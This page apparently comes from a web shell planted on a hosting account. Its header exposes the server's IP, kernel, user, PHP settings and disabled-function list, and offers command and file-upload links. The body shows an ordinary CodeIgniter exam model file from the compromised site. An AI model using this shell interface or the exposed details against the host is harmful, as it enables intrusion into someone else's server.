|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.216.24 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u926327694/domains/smsoft.in/public_html/smart/application/models/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if (!defined('BASEPATH')) {
exit('No direct script access allowed');
}
class Exam_model extends CI_Model
{
public function __construct()
{
parent::__construct();
$this->current_session = $this->setting_model->getCurrentSession();
}
/**
* This funtion takes id as a parameter and will fetch the record.
* If id is not provided, then it will fetch all the records form the table.
* @param int $id
* @return mixed
*/
public function get($id = null)
{
$this->db->select()->from('exams');
if ($id != null) {
$this->db->where('id', $id);
} else {
$this->db->order_by('id');
}
$query = $this->db->get();
if ($id != null) {
return $query->row_array();
} else {
return $query->result_array();
}
}
/**
* This function will delete the record based on the id
* @param $id
*/
public function remove($id)
{
$this->db->where('id', $id);
$this->db->delete('exams');
}
/**
* This function will take the post data passed from the controller
* If id is present, then it will do an update
* else an insert. One function doing both add and edit.
* @param $data
*/
public function add($data)
{
if (isset($data['id'])) {
$this->db->where('id', $data['id']);
$this->db->update('exams', $data);
} else {
$this->db->insert('exams', $data);
return $this->db->insert_id();
}
}
public function add_exam_schedule($data)
{
$this->db->where('exam_id', $data['exam_id']);
$this->db->where('teacher_subject_id', $data['teacher_subject_id']);
$q = $this->db->get('exam_schedules');
if ($q->num_rows() > 0) {
$result = $q->row_array();
$this->db->where('id', $result['id']);
$this->db->update('exam_schedules', $data);
} else {
$this->db->insert('exam_schedules', $data);
}
}
}